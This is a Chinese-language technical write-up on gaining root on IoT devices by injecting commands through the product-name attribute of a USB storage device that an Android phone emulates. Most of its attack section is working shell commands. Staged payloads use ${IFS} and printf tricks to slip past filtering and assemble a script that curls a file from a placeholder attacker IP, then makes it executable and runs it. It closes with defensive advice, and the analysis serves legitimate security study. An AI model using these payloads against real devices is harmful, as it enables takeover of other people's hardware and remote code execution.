利用USB外设实现命令注入
字数 815 2025-08-27 12:33:49
利用USB外设实现命令注入攻击技术分析
概述
本文详细分析了一种通过恶意USB外设实现命令注入攻击的技术。攻击者可以利用物联网设备对USB设备的自动挂载功能,通过精心构造的USB设备属性实现任意命令执行,最终获取设备root权限。
技术背景
许多物联网设备允许用户插入USB设备并自动执行某些操作,这些功能往往过度信任USB设备提供的信息。当设备使用system()函数执行挂载命令时,如果USB设备属性未经过滤直接拼接进命令中,就可能造成命令注入漏洞。
攻击原理
- 漏洞存在于设备自动挂载USB存储设备的过程中
- 设备使用USB设备的属性(如产品名称、型号、磁盘标签等)构造挂载目录名
- 这些属性未经充分过滤就直接用于
system()函数执行挂载命令 - 攻击者可以构造恶意属性值注入任意命令
攻击实施步骤
1. 创建恶意USB设备
使用Android设备模拟恶意USB存储设备:
# 创建50MB的镜像文件
dd if=/dev/zero of=backing.img count=50 bs=1M
# 格式化镜像并设置标签
echo -e -n 'o\nn\n\n\n\n\nt\nc\nw\n' | fdisk backing.img
losetup --offset 1048576 -f backing.img /dev/loop0
mkdosfs -n "HAX" /dev/loop0
losetup -d /dev/loop0
2. 配置Android设备为USB大容量存储设备
# 进入Android设备的shell
adb shell
su
# 禁用当前USB功能
echo 0 > /sys/class/android_usb/android0/enable
# 设置镜像文件路径
echo '/data/local/tmp/backing.img' > /sys/class/android_usb/android0/f_mass_storage/lun/file
# 启用大容量存储功能
echo 'mass_storage' > /sys/class/android_usb/android0/functions
# 重新启用USB
echo 1 > /sys/class/android_usb/android0/enable
3. 设置恶意属性实现命令注入
# 禁用USB
echo 0 > /sys/class/android_usb/android0/enable
# 设置恶意产品ID和厂商信息
echo 1337 > /sys/class/android_usb/android0/idProduct
echo 'Carve Systems' > /sys/class/android_usb/android0/iManufacturer
echo ';{恶意命令};' > /sys/class/android_usb/android0/iProduct
# 重新启用USB
echo 1 > /sys/class/android_usb/android0/enable
4. 分阶段注入完整攻击载荷
由于属性值中空格和斜杠可能被过滤,需要分阶段注入:
# 阶段1: 创建攻击脚本
echo 0 > enable
echo ';echo${IFS}b=`printf$IFS'"'"'\\x2f'"'"'`>>a;' > iProduct
echo 1 > enable
# 阶段2: 定义变量
echo 0 > enable
echo ';echo${IFS}s=\"$IFS\">>a;' > iProduct
echo 1 > enable
# 阶段3: 设置下载URL
echo 0 > enable
echo ';echo${IFS}u=http:\$b\${b}攻击者IP:8000\${b}shell>>a;' > iProduct
echo 1 > enable
# 阶段4: 下载恶意文件
echo 0 > enable
echo ';echo${IFS}curl\$s-s\$s-o\${s}shell\$s\$u>>a;' > iProduct
echo 1 > enable
# 阶段5: 设置执行权限
echo 0 > enable
echo ';echo${IFS}chmod\$s+x\${s}shell>>a;' > iProduct
echo 1 > enable
# 阶段6: 执行攻击
echo 0 > enable
echo ';echo${IFS}\${b}shell>>a;' > iProduct
echo 1 > enable
# 阶段7: 执行脚本
echo 0 > enable
echo ';sh${IFS}a;' > iProduct
echo 1 > enable
漏洞利用条件
- 目标设备自动挂载USB存储设备
- 挂载过程使用
system()等危险函数 - USB设备属性未经过滤直接拼接进命令
- 挂载进程以root权限运行
防御措施
- 不要信任外部输入:即使是来自物理设备的输入也需要验证
- 避免使用
system()函数:直接使用系统调用实现挂载功能 - 严格过滤输入:对USB设备属性进行严格过滤和验证
- 使用安全标识:如果需要唯一标识,使用UUID或哈希值而非原始属性
- 最小权限原则:挂载进程不应以root权限运行
总结
这种攻击方式展示了物理设备接口可能带来的安全风险。开发人员在实现USB设备自动挂载功能时,必须对所有外部输入保持警惕,避免将未经验证的数据直接用于系统命令执行。通过遵循安全编码实践和最小权限原则,可以有效防范此类攻击。